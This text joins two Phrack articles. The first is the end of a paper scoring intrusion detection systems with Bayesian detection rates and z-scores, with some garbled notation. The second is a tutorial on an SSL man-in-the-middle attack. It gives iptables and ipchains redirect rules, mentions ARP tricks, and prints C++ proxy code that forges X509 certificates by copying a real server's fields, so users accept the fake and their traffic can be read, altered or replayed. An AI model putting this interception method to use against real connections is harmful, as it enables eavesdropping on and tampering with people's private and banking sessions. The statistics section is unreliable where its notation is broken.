By now you should realize that the Bayesian Detection Rate increases if the False Positive Rate decreases.

3 ‑‑‑‑‑|Normal Distribution:

To detect a raise on BDR we must know what is the standard BDR for actual Intrusion Detection Systems so we'll use a method called Normal Distribution.

Normal distributions are a family of distributions that have the same general shape. They are symmetric with scores more concentrated in the middle than in the tails. Normal distributions are sometimes described as bell shaped. The area under each curve is the same.

The height of a normal distribution can be specified mathematically in terms of two parameters:

+the mean (m) and the standard deviation (s).

+The height (ordinate) of a normal curve is defined as:

1

f(x)= ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ * e ^(‑(x‑m)^2)/2s^2 /‑‑‑‑‑‑‑‑‑‑‑‑‑|

\/ 2*p*s^2

Where m is the mean and s is the standard deviation, p is the constant 3.14159, and e is the base of natural logarithms and is equal to 2.718282. x can take on any value from ‑infinity to +infinity.

3.1 ‑‑‑‑‑‑‑‑‑| The Mean:

The arithmetic mean is what is commonly called the

average and it can be defined as:

x1 + x2 + x3 + ... + xn

m = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

n

Where n is the number of scores entered.

3.2 ‑‑‑‑‑‑‑‑‑| The Standard Deviation:

The Standard Deviation is a measure of how spread out a distribution is.

It is computed as the average squared deviation of each number from its mean:

(x1 ‑ m) ^2 + (x2 ‑ m) ^2 + (x3 ‑ m) ^2 + ... + (xn ‑ m) ^2

s^2 = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

n

Where n is the number of scores entered.

We'll define a experimental method in which X will be the BDR for the most known IDS from market and we'll see how much our protype based on MPP plataform will differ from their results with the Normal Distribution Method and with the Standard Deviation.

4 ‑‑‑‑‑‑|Experimental Environment:

Now we should gather experimental information to trace some standard to IDS BDR:

Let's take the default installation of 10 IDS plus our prototype, 11 in total running at this configuration:

*Pentium 866 MHZ

*128 MBytes RAM

*100 Mb/s fast Ethernet Adapter(Intel tulip based(2114X) ) *1Megabyte of synchronous cache

*Motherboard ASUS P3BF

*Total of 30 gigabytes of HD capacity Transfer Rate of 15 Mb/s

The Experiment will run for 22 days. Each IDS will run separately for 2 days.

We'll use 3 Separate Subnets here 192.168.0.0/26 Netmask 255.255.255.192, 192.168.0.129/26 Netmask 255.255.255.192, And a Real IP Network, 200.200.200.x.

The IDS can only differ on OS aspect and methods of detection, but must still mantain the same node configuration.

We'll simulate, random network usage and 4 intrusion attacks

(4 packets) until the amount of traffic reaches around 100,000 packets from diferent protocols.

The gateway (host node) remains routing or seeing packets of the Internal network, Internet, WAN, etc.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SWITCH |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | |______DMZ ____>Firewall___>Router___> Internet

| | |

| |_________ | _________LAN ____>

_____________| | | |

| ‑

‑‑‑‑‑ HOST NODE | | ‑‑‑‑‑‑| | (login node) | | | |‑‑‑

| | | |

| | ‑‑‑

‑‑‑‑‑ node |ooooo| _

node one |ooooo| | | two(IDS) (gateway) ‑‑‑‑‑‑‑ ‑

Keyboard/Mouse

Monitor

4.1 ‑‑‑‑‑|MPP Environment:

Now we must define a network topology and a standard operating system for our prototype.

The gateway host is in the three networks at the same time and it will handle the part of the software that will gather packet information, process a Depth‑1st search and then transmit the supicious packets to the other hosts.

The hardware will be:

*3 Pentium II 400 MHZ

*128 Megabytes RAM

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*1 Pentium III 550 MHZ

*512 Megabytes RAM

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*Motherboard ASUS P3BF

*Total of 30 gigabytes of HD capacity Transfer Rate of 15 Mb/s *1Megabyte of synchronous cache

*100 Mb/s fast Ethernet Adapter ( Intel tulip based (2114X) ) The OS will be the Extreme Linux distribution CD which comes with all the necessary components to build a Cluster.

Note that we have the same processing capability of the other NIDS systems (866 MHZ), we'll discuss the cost of all environments later.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| SWITCH |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

__________| | | | | |______DMZ ____>Firewall___>Router___> Internet

| ______| | | | |

| | __| | | | LAN ____>

| | | | |

‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑ | |

| | | | | | ‑‑‑‑‑ |_

| | | | | | | |

| | | | | | | | HOST NODE | | ‑‑‑‑ | | |

‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑ | | (login node) ‑‑‑‑‑ ‑‑‑‑‑‑‑ |

node node node ‑‑‑‑‑ node |ooooo| _ five four three node one |ooooo| | | two (gateway) ‑‑‑‑‑‑‑ ‑

Keyboard/Mouse

Monitor

5 ‑‑‑‑‑‑|The Experiment:

Tested NIDS Were:

+SNORT

+Computer Associates Intrusion Detection System

+Real Secure

+Shadow

+Network Flight Recorder

+Cisco NetRanger

+EMERALD (Event Monitoring Enabling Response to Anomalous Live Disturbances) +Network Associates CyberCop

+PENS Dragon Intrusion Detection System

+Network ICE

+MPP NIDS Prototype

5.1 ‑‑‑‑‑‑|Results:

‑‑‑‑|Snort

False positives ‑ 7

False Negatives ‑ 3

True Positives ‑ 1

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 1/4 = 0.25

P(Ai|Ij) = 7/99996 = 7.0 * 10^‑5

(2.5 * 10^‑4) * (2.5^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.4718

(2.5 * 10^‑4) * (2.5^‑10) + (9.9975 * 10^‑1) * (7.0 * 10^‑5)

‑‑‑‑|Computer Associates Intrusion Detection System

False positives ‑ 5

False Negatives ‑ 2

True Positives ‑ 2

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 2/4 = 0.50

P(Ai|Ij) = 5/99996 = 5.0 * 10^‑5

(2.5 * 10^‑4) * (5.0^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.7143

(2.5 * 10^‑4) * (5.0^‑10) + (9.9975 * 10^‑1) * (5.0 * 10^‑5)

‑‑‑‑|Real Secure

False positives ‑ 6

False Negatives ‑ 2

True Positives ‑ 2

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 2/4 = 0.50

P(Ai|Ij) = 6/99996 = 6.0 * 10^‑5

(2.5 * 10^‑4) * (5.0^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.6757

(2.5 * 10^‑4) * (5.0^‑10) + (9.9975 * 10^‑1) * (6.0 * 10^‑5)

‑‑‑‑|Network Flight Recorder

False positives ‑ 5

False Negatives ‑ 1

True Positives ‑ 3

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 3/4 = 0.75

P(Ai|Ij) = 5/99996 = 5.0 * 10^‑5

(2.5 * 10^‑4) * (7.5^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.7895

(2.5 * 10^‑4) * (7.5^‑10) + (9.9975 * 10^‑1) * (5.0 * 10^‑5)

‑‑‑‑|Cisco NetRanger

False positives ‑ 5

False Negatives ‑ 3

True Positives ‑ 1

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 1/4 = 0.25

P(Ai|Ij) = 5/99996 = 5.0 * 10^‑5

(2.5 * 10^‑4) * (2.5^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.5556

(2.5 * 10^‑4) * (2.5^‑10) + (9.9975 * 10^‑1) * (5.0 * 10^‑5)

‑‑‑‑|EMERALD

False positives ‑ 7

False Negatives ‑ 3

True Positives ‑ 1

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 1/4 = 0.25

P(Ai|Ij) = 7/99996 = 7.0 * 10^‑5

(2.5 * 10^‑4) * (2.5^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.4718

(2.5 * 10^‑4) * (2.5^‑10) + (9.9975 * 10^‑1) * (7.0 * 10^‑5)

‑‑‑‑|CyberCop

False positives ‑ 4

False Negatives ‑ 2

True Positives ‑ 2

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 2/4 = 0.50

P(Ai|Ij) = 4/99996 = 4.0 * 10^‑5

(2.5 * 10^‑4) * (5.0^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.7576

(2.5 * 10^‑4) * (5.0^‑10) + (9.9975 * 10^‑1) * (4.0 * 10^‑5)

‑‑‑‑|PENS Dragon Intrusion Detection System

False positives ‑ 6

False Negatives ‑ 2

True Positives ‑ 2

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 2/4 = 0.50

P(Ai|Ij) = 6/99996 = 6.0 * 10^‑5

(2.5 * 10^‑4) * (5.0^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.6757

(2.5 * 10^‑4) * (5.0^‑10) + (9.9975 * 10^‑1) * (6.0 * 10^‑5)

‑‑‑‑|Network ICE

False positives ‑ 5

False Negatives ‑ 3

True Positives ‑ 1

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 1/4 = 0.25

P(Ai|Ij) = 5/99996 = 5.0 * 10^‑5

(2.5 * 10^‑4) * (2.5^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.5556

(2.5 * 10^‑4) * (2.5^‑10) + (9.9975 * 10^‑1) * (5.0 * 10^‑5)

‑‑‑‑|Shadow

False positives ‑ 3

False Negatives ‑ 2

True Positives ‑ 2

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 2/4 = 0.50

P(Ai|Ij) = 3/99996 = 3.0 * 10^‑5

(2.5 * 10^‑4) * (5.0^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.8065

(2.5 * 10^‑4) * (5.0^‑10) + (9.9975 * 10^‑1) * (3.0 * 10^‑5)

‑‑‑‑|MPP NIDS Prototype

False positives ‑ 2

False Negatives ‑ 1

True Positives ‑ 3

1

P(Ii) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ = 2.5 * 10^‑4

1*10^5

‑‑‑‑‑‑‑‑

1*4

P(Ij) = 1 ‑ P(Ii) = 0.99975

P(Ai|Ii) = 3/4 = 0.75

P(Ai|Ij) = 2/99996 = 2.0 * 10^‑5

(2.5 * 10^‑4) * (7.5^‑10)

BDR = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑0.9036

(2.5 * 10^‑4) * (7.5^‑10) + (9.9975 * 10^‑1) * (2.0 * 10^‑5)

4.2 ‑‑‑‑‑‑‑|Normal Distribution

Using the normal distribuiton method let us identify, for a scale from 1 to 10, what's the score of our NIDS Prototype:

‑‑‑|The Average BDR for NIDS test was:

0.4718+0.7143+0.6757+0.7895+0.5556+0.4718+...+0.8065+0.9036

m(BDR) = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

11

m(BDR) = 0.6707

‑‑‑|The Standard Deviation for NIDS test was:

(0.4718 ‑ 0.6707)^2+(0.7143 ‑ 0.6707)^2+...+(0.9036 ‑ 0.6707)^2

s(BDR)^2 = ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

11

s(BDR) = 0.1420

‑‑‑|The Score

The mean is 67.07(m) and the standard deviation is 14.2(s). Since 90.36(X) is 23.29 points above the mean (X ‑ m = 23.29) and since a standard deviation is 14.2 points,there is a distance of 1.640(z) standard deviations between the 67.07 and 90.36 (z=[23.29/14.2]) plus 0,005 for rounds and 5.0 for our average standard score. The score (z) can be computed using the following formula:

X ‑ m

Z = ‑‑‑‑‑‑‑‑

s

If you get a positive number for Z then apply (z = z + 0.005 + 5.0) If you get a negative number for Z then apply (z = z ‑ 0.005 + 5.0)

You should consider just the two first decimal places:

So for our prototype we'll get:

z = 1.640 + 0.005 + 5.0

z = 6.64

Our prototype scored 6.64 in our test, at this point the reader is encouraged to make the same calculation for all NIDS, you'll see that our prototype achieved the best score of all NIDS we tested.

6 ‑‑‑‑‑‑‑|Why?

Why our prototype differs so much from the rest of the NIDS, if it was built under almost the same concepts?

6.1 ‑‑‑|E,A,D,R AND "C" Boxes

Using the CIDF (Common Intrusion Detection Framework) we have 4 basic boxes, which are:

E ‑ Boxes, or event generators, are the sensors; Their Job is to detect events and push out the reports.

A ‑ Boxes receive reports and do analysis. They might offer a prescription and recommend a course of action.

D ‑ Boxes are database components; They can determine wheter an IP address or an attack has been seen before, and they can do trend analysis R ‑ Boxes can take the input of the E, A and D Boxes and Respond to the event

Now what are the "C" ‑ Boxes? They are Redundancy Check boxes, they use CRC methods to check if a True Positive is really a True Positive or not.

The C‑Boxes can tell If an E ‑ Box generates a rightful report or an A ‑ Box generates a real true positive based on that report. Because we're dealing with a MPP Enviroment this node can be at all machines dividing the payload data by as much as boxes you have.

6.2 ‑‑‑|CISL

Our prototype Boxes use a language called CISL (Common Intrusion Specification Language) to talk with one another and it convey the following kinds of information:

+Raw event information: Audit Trail Records and Network Traffic +Analysis Results: Description of System Anomalies and Detected Attacks +Response Prescriptions: Halt Particular Activities or modify component security specifications

6.3 ‑‑‑|Transparent NIDS Boxes

All but some E‑Boxes will use a method comonly applied to firewalls and proxies to control in/out network traffic to certain machines. It's Called "Box Transparency", it reduces the needs for software replacement and user retain.

It can control who or what is able to see the machine so all unecessary network traffic will be reduced by a minimum.

6.4 ‑‑‑|Payload Distribution And E‑Box to A‑Box Tunneling

Under MPI (Message Passing Interface) programming environment, using Beowulf as Cluster Plataform, we can distribute network payload traffic parsing of A ‑ Boxes every machine in the cluster, maximizing the A ‑ Box perfomance and C ‑ Box as well.

All other network traffic than the report data that come from E‑Boxes by a encrypted tunneling protocol, is blocked in order to maximize the cluster data transfer and the DSM (Distributed Shared Memory).

7 ‑‑‑‑‑‑‑|Conclusions

Altough Neither Attack Method nor the NIDS Detection Model were considered on this paper, it's necessary to add that no one stays with a NIDS with their default configuration, so you can achieve best scores with your well configured system.

You can also score any NIDS scope with this method and it gives you a glimpse of how your system is doing in comparison with others. Like it was said at the introduction topic, this paper is not a final solution for NIDS performance mesurement or a real panacea to false positive rates (doubtfully any paper will be), but it gives the reader a relative easy way to measure yours NIDS enviroment effectivess and it proposes one more way to perform this hard job.

8 ‑‑‑‑‑‑‑|Bibliography

AMOROSO, Edward G. (1999), "Intrusion Detection", Intrusion NetBook, USA.

AXELSON, Stefan (1999) ‑ "The Base‑Rate Fallacy and its Implications for the Difficulty of Intrusion Detection", www.ce.chalmers.se/staff/sax/difficulty.ps, Sweden.

BUNDY, Alan (1997), "Artificial Inteligence Techniques", Springer‑Verlag Berlin Heidelberg, Germany.

BUYYA, Rajkumar (1999), "High Performance Cluster Computing: Architectures and Systems", Prentice Hall, USA.

KAEO, Merike (1999), "Designing Network Security", Macmillan Technical Publishing, USA.

LEORNARD, Thomas (1999), "Bayesian Methods: An Analysis for Statisticians and Interdisciplinary Researchers", Cambridge Univ Press, UK.

NORTHCUTT, Stephen (1999), "Network Intrusion Detection: An Analyst's Handbook", New Riders Publishing, USA.

PATEL, Jagdish K. (1996), "Handbook of the Normal Distribution", Marcel Dekker, USA.

STERLING, Thomas L. (1999), "How to Build a Beowulf: A Guide to the Implementation and Application of PC Clusters", MIT Press, USA.

9 ‑‑‑‑‑‑‑|Acknowlegments:

#Segfault at IRCSNET, Thanks for all fun and moral support

TICK, for the great hints on NIDS field and beign the first

one to believe on this paper potential

VAX, great pal, for all those sleepless nights

Very Special Thanks to GAMMA, for the great Text & Math hints

SYD, for moral support and great jokes

All THC crew

Michal Zalewski, dziekuje tobie za ostatnia noc

My Girlfriend Carolina, you all Know why :)

Storm Security Staff, for building the experimental environment

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hang on, snoopy

==Phrack Inc.==

Volume 0x0b, Issue 0x39, Phile #0x0d of 0x12

|=‑‑‑=[ Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) ]=‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Stealth <stealth@segfault.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

SSL in version 3 known as SSLv3 or current version 3.1 also known as TLS provides a mechanism to securely transfer data over a network with recognition of modified or re‑played packets. It has all requirements a secure system needs for, lets say, managing your bankaccounts.

I'll show that in practise this is not true.

In that article I will guide you through the parts

of SSL which are important for us and necessary to know.

Things we do not play with such as the SSL handshake are not explained in depth; take a look to the references

if you are interested.

1. Why SSL

‑‑‑‑‑‑‑‑‑‑

SSL was designed to provide:

1.) Confidentiality

This is reached by encrypting the data that is passed over the network with a symetric algorithm choosen

during SSL handshake. SSL uses variable amount of ciphers, assumed to be non‑breakable. If a new attack shows up against a specific algorithm, this does not hurt SSL much,

it just chooses a different one.

2.) Message Integrity

SSL is using a strong Message Authentication Code

(MAC) such as SHA‑1 which is appended to the end of the packet that contains the data and encrypted along with the payload. That way SSL detects when the payload is tampered with, since the computed hashes will not match. The MAC is also used to protect the handshake from tampering.

2.1.) Protection against replay‑attacks

SSL is using seqence‑numbers to protect the communicating parties from attackers who are recording and replaying packets. The sequence‑number is encrypted as the payload is. During handshake a 'random' is used to make the handshake unique and replay attacks impossible.

2.2.) Protection against reorder‑attacks

As in 2.1.) the seqence‑numbers also forbid to record packets and send them in a different order.

3.) Endpoint Authentication

With X509 (currently version 3) certificates SSL supports authentication of clients and servers. Authentication of servers is what you want when using https with your bank, but this is where we take a deeper look.

This sounds pretty secure. However using the program that is explained until the end of this article, neither of the points is true any longer (except we cannot break client‑authentication).

At the end we are able to watch at the plain data, modifying it at our needs, recording it, sending it delayed, in wrong order or duplicated. This will basicly be done via a man in the middle attack where several weaknesses in interactive SSL‑clients are exploited, "give it to the user" in particular.

2. X509 certificates

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

X509 certificates are integral part of SSL. The server sends his cert to the client during SSL handshake.

A X509 cert contains the distinguished name (DN) of the issuer the DN of the subject, a version and serialnumber, algorithms choosen, a timeframe where the key is valid and ofcorse the public key of the subject.

The subject is the (distinguished) name of the entity that the public key in this cert belongs to. Unfortunally in plain X509 certs there is no field that is labeled "DNS‑name" so that you can match it against the URL you are viewing for instance. Usually the CN field is what is mapped to the DNS name but this is just a convention which both (client and entity offering its cert) must be aware of.

"Issuer" is the (distinguished) name of the entity that signed this cert with its private key. It is called a Certificate Authority ‑‑ CA.

Lets view a X509 cert:

stealth@lydia:sslmim> ./cf segfault.net 443|openssl x509 ‑text Certificate:

Data:

Version: 1 (0x0)

Serial Number: 1 (0x1)

Signature Algorithm: md5WithRSAEncryption Issuer: C=EU, ST=segfault, L=segfault, O=www.segfault.net/Email=crew@segfault.net Validity

Not Before: Nov 19 01:57:27 2000 GMT

Not After : Apr 5 01:57:27 2028 GMT Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit): 00:cd:64:2a:97:26:7a:9b:5c:52:5e:9c:9e:b3:a2: e5:f5:0f:99:08:57:1b:68:3c:dd:22:36:c9:01:05: e1:e5:a4:40:5e:91:35:8e:da:8f:69:a5:62:cf:cd: 70:dc:ca:d2:d7:92:03:5c:39:2a:6d:02:68:91:b9: 0d:d1:2c:c7:88:cb:ad:be:cc:e2:fa:03:55:a1:25: 47:15:35:8c:d9:78:ef:9f:6a:f6:5f:e6:9a:02:12: a3:c2:b8:6a:32:0f:1d:9d:7b:2f:65:90:4e:ca:f7: a0:e4:ae:55:91:09:e4:6e:01:e3:d1:71:1e:60:b1: 83:88:8f:c4:6a:8c:bb:26:fd Exponent: 65537 (0x10001)

Signature Algorithm: md5WithRSAEncryption 7d:c7:43:c3:71:02:c8:2f:8c:76:9c:f3:45:4c:cf:6d:21:5d: e3:8f:af:8f:e0:2e:3a:c8:53:36:6b:cf:f6:27:01:f0:ed:ee: 42:78:20:3d:7f:e3:55:1f:8e:f2:a0:8e:1a:1b:e0:76:ad:3e: a0:fc:5b:ce:a6:c4:32:7b:64:f2:a4:0f:a3:be:a1:0e:a7:ca: ed:67:39:07:65:6b:cc:e7:5a:9a:b0:3a:f3:5c:1a:18:d4:dd: 8c:8d:5a:9e:a0:63:e0:7d:af:7c:97:7c:89:17:0f:25:2f:a7: 80:d3:02:dc:88:7a:12:64:ec:8a:ff:e4:62:92:2e:7f:75:03: 82:f1

Important line is

Issuer: C=EU, ST=segfault, L=segfault, O=www.segfault.net/Email=crew@segfault.net

Where C, ST, L, O and Email (so called relative DNs ‑‑ RDN) build the issuer DN.

Same for the subject:

Subject: C=EU, ST=segfault, L=segfault, O=www.segfault.net, CN=www.segfault.net/Email=crew@segfault.net

Certs may be be signed by a public known CA where the subject has no control over the private key used for that purpose, or by the subject itself ‑‑ so called self‑signed cert.

In this example, the cert is signed by a own CA.

By the way, this is the original segfault.net certificate,

noone was intercepting communication while fetching it.

We will later see how it looks like when someone is playing

with the connection.

This certificate is exchanged during SSL handshake when you point netscape browser to https://segfault.net. The public key contained

in this cert is then used for session encryption.

To have a pretty good level of security, certs should be signed by a (either your own, as in this example, or a public) CA

where the client has the public key handy to check this cert.

If the client does not have the public key from the CA to check the integrity of the cert, it prompts the user to accept/deny it. This "requirement" for interactive clients and the fact that there are so many "well‑surfed" sites which provide certs where nobody has the key for proper checking by default will in last consequence make SSL obsolete for common interactive SSL clients, i.e. Netscape browser.

3. Getting in between

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As seen, X509‑certificates are an important part of SSL. Its task is to prove to the client that he is talking to the server he is expecting, and that he is using the apropriate key while doing so.

Now, imagine what could be done when we could fake such a certificate, and transparently forward a SSL connection.

Got it? Its worth a try. Our leading motto 'teile und herrsche' shows that there are two problems which we must solve.

a) Hijacking the connection to be able to transparently forward it. b) Faking certificates to the client, so that he always sees the certs he is expecting and taking us for the real server.

a+b are usually called a 'man in the middle' attack.

X509 certs should make this impossible but common cert‑checking implementations such as Netscape browser (and in general, interactive clients) hardly get it.

First problem is pretty easy to solve. Given that we sit physically between the two parties, we just use our firewall skills (preferably on Linux or BSD :) to redirect, lets say https‑traffic to our program called 'mimd'. This would probably look like

# ipchains ‑A input ‑s 0/0 ‑d 0/0 443 ‑j REDIRECT 10000 ‑p tcp

or similar to grab the https‑traffic on the input chain.

For local mimd action on a 2.4 kernel box you'd type

# iptables ‑t nat ‑A OUTPUT ‑p tcp ‑‑sport 1000:3000 ‑‑dport 443\ ‑j REDIRECT ‑‑to‑port 10000

Given the (expected) source‑ports from the SSL‑client. If we ommit that, mimd will enter an infinite loop (iptables would redirect already redirected traffic). Since mimd binds to port 8888 and up it does not match the rule. You do not need to sit physically between the parties,

it is usually enough to be in the LAN of the server or

the LAN of the client. ARP‑tricks do the job pretty well

then, the FW‑rules will not even change.

With these redirect‑rules we could already set up a simple bouncer with a tiny select() loop. The target‑address can be found using the operating system API (usually via getsockopt() or alike,

I compiled NS_Socket::dstaddr() function for the most important OSes :) Using our little bouncer, we can not see what is passed on the link, since we do not involve SSL itself.

To be able to see plain traffic, we should modify our (virtual) little bouncer with a SSL_accpet() and a SSL_connect() statement. After accpet()ing the connection we would connect() to the real target and issue a call to SSL_connect(). Done that, we invoke SSL_accept(). Assuming we had done the initialization stuff before such as loading the key‑file etc. the SSL‑client will now prompt the bouncer‑cert to the user.

Obviously for him that this is faked, because when he surfes company‑A and gets cert for company‑B or 'MiM' he is probably a little bit confused.

We will solve that problem. Our calls to SSL_connect() and SSL_accept() are already in the right order, and I will now explain why.

4. DCA

‑‑‑‑‑‑

We can already see the plain text of the connection via SSL_read() and forward it to the target via SSL_write() if the user

on the SSL‑client just accepts the certificate.

It is now time to solve the second part‑problem: faking

the certificate.

Remember, we first issued SSL_connect(), before we do

the SSL_accept(), so the server sees us as a legitimate

client when doing SSL_connect() and does the SSL handshake.

As a result we have the server certificate.

Lets see what we have so far:

...

// block for incoming connections

while ((afd = accept(sfd, (sockaddr*)&from, &socksize)) >= 0) {

// Get real destination

// of connection

if (NS_Socket::dstaddr(afd, &dst) < 0) { log(NS_Socket::why());

die(NULL);

}

...

++i;

if (fork() == 0) {

// ‑‑‑ client‑side

if ((sfd2 = socket(PF_INET, SOCK_STREAM, 0)) < 0) { log("main::socket");

die(NULL);

}

if (NS_Socket::bind_local(sfd2, 8888+i, 0) < 0) { log(NS_Socket::why());

die(NULL);

}

// fire up connection to real server

if (connect(sfd2, (struct sockaddr*)&dst,

sizeof(dst)) < 0) {

log("main::connect");

die(NULL);

}

...

client‑>start();

client‑>fileno(sfd2);// this socket to use

// do SSL handshake

if (client‑>connect() < 0) {

log("Clientside handshake failed. Aborting.");

die(NULL);

}

The handshake with the real server is finished right *now*.

Take this as some sort of SSL‑pseudocode, the use of SSL_connect() and SSL_accept() is encapsulated into client and server objects respectively. Now we can prepare ourself to be a server for the SSL‑client:

// ‑‑‑ server‑side

server‑>start();// create SSL object

server‑>fileno(afd);// set socket to use

Not calling SSL_accept() until we actually do the fake:

if (enable_dca)

NS_DCA::do_dca(client, server);

Dynamic Certificate Assembly (DCA) does the following:

Given an almost empty certificate (all RDN are non‑existant except C ‑‑ Country) the do_dca() fills this X509 cert with the contents of the X509 certificate obtained during SSL‑handshake with the server before. We rip the L, ST, O, CN, the OU and the Email field (as present) and place it into our certificate which we will show to the SSL‑client. This is done using some ugly string‑parsing, and using X509_() functions offered by OpenSSL.

For the OU field in the issuer we append a space " " which will not show up in the window of the SSL‑client but makes it differ from

the saved certs from public CA's. The user will be prompted to accept a cert from a "well known CA" (because user sees the name, but not the appended space, SSL‑client can not find apropriate public key for this CA and prompts), which he will probably accept.

Nice eh? As a special gift, we can use the subject fields (CN,...) for the issuer‑fields so the former public CA signed X509‑cert becomes self‑signed! Since self‑signed certificates are usually shown to the user he cant know it is a fake!

Assembled the cert, lets just show it to the client:

// do SSL handshake as fake‑server

if (server‑>accept() < 0) {

log("Serverside handshake failed. Aborting."); die(NULL);

}

ssl_forward(client, server);

Done. ssl_forward() just calls SSL_read/SSL_write in a loop and records the plain data. We could also modify the stream, replaying or supressing it ‑‑ as we wish.

